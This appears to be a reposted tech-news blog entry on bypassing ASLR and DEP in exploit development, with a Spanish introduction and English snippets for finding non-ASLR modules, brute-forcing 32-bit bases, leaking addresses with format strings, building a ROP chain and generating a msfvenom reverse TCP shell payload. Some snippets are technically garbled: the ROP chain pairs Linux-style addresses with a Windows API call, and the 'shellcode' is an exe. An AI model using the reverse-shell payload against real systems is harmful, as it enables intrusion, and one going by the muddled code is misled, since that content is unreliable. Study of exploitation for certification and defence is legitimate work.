Listen to this Post
🚀 Stack Overflows y ASLR Bypass �
Uno de los desafíos clave en el desarrollo de exploits es evadir las mitigaciones implementadas por los sistemas operativos, como Address Space Layout Randomization (ASLR) y Data Execution Prevention (DEP). En la certificación Offensive Security Exploit Developer (OSED), he estado profundizando en técnicas para sortear estas protecciones y lograr ejecución de código.
🔹 ASLR y su impacto en la explotación
ASLR introduce aleatorización en la carga de módulos, dificultando la construcción de ROP chains. Sin embargo, aún existen estrategias para superarlo:
✔️ Identificación de módulos sin ASLR: Algunos DLLs o aplicaciones aún se compilan sin la opción /DYNAMICBASE, lo que permite predecir direcciones.
✔️ Explotación de entropía baja: En sistemas de 32 bits, ASLR solo randomiza 8 bits de la dirección base, permitiendo técnicas de brute force.
✔️ Uso de info leaks: Vulnerabilidades como format string o desbordamientos de heap pueden filtrar direcciones de memoria, anulando ASLR.
🔹 Bypassing DEP con ROP y WriteProcessMemory
Con un ASLR bypass exitoso, podemos construir ROP chains que llaman a APIs como WriteProcessMemory, permitiéndonos escribir y ejecutar shellcode en memoria protegida.
You Should Know:
1. Identifying Non-ASLR Modules:
!mona modules
This command in Immunity Debugger will list all loaded modules and indicate which ones are not protected by ASLR.
2. Brute Forcing ASLR in 32-bit Systems:
for i in range(0, 256): payload = b"A" * 1024 + p32(0x08048000 + i * 0x1000) send_payload(payload)
This Python script demonstrates a brute force approach to bypass ASLR in 32-bit systems.
3. Exploiting Info Leaks:
./vuln_program %x.%x.%x.%x
This command exploits a format string vulnerability to leak memory addresses.
4. ROP Chain Construction:
rop_chain = [ p32(0x080484d6), # pop eax; ret p32(0x0804a000), # address to write p32(0x08048523), # pop ebx; ret p32(0xdeadbeef), # value to write p32(0x080483e0), # WriteProcessMemory ]
This Python snippet constructs a ROP chain to call WriteProcessMemory
.
5. Executing Shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shellcode.exe
This command generates a reverse TCP shell payload using msfvenom
.
What Undercode Say:
Bypassing ASLR and DEP is a critical skill in exploit development. By identifying non-ASLR modules, exploiting low entropy in 32-bit systems, and using info leaks, attackers can predict memory addresses and construct effective ROP chains. Tools like Immunity Debugger and `msfvenom` are essential for testing and exploiting these vulnerabilities. Always ensure you have permission to test systems and follow ethical guidelines.
For further reading, check out the Offensive Security Exploit Developer (OSED) certification and Immunity Debugger documentation.
References:
Reported By: Jeremy Erazo – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅